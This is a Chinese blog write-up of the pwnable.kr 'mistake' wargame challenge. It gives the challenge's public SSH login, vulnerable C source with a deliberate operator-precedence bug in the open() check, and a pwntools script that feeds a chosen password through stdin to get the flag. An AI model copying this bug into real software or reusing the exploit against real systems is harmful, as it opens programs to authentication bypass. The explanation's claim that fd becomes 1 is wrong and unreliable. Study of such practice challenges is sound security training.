pwnable.kr mistake
Posted p4nda
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.kr mistake相关的知识,希望对你有一定的参考价值。
又一道pwnable,我还没放弃。。
ssh mistake@pwnable.kr -p2222 (pw:guest)
源代码如下:
#include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; } } int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can\'t open password %d\\n", fd); return 0; } printf("do not bruteforce...\\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\\n"); system("/bin/cat flag\\n"); } else{ printf("Wrong Password\\n"); } close(fd); return 0; }
源代码中,对于文件打开错误条件判断出有问题
fd=open("/home/mistake/password",O_RDONLY,0400) < 0
最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。
这就是为什么程序运行时会有卡顿。
利用pwntools的sendline函数可以解决。
from pwn import * import time s= ssh(host=\'pwnable.kr\',user=\'mistake\',password=\'guest\',port=2222) s.connected() pro = s.process(\'/home/mistake/mistake\') print pro.recv() fd_content = \'p4nda\'+\'\\0\' fd_change = "" for i in fd_content: fd_change += chr(ord(i) ^ 1) pro.sendline(fd_content) print pro.recv() print fd_content print \'[+] Sleep over.\' pro.sendline(fd_change) print pro.recv()
发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。
以上是关于pwnable.kr mistake的主要内容,如果未能解决你的问题,请参考以下文章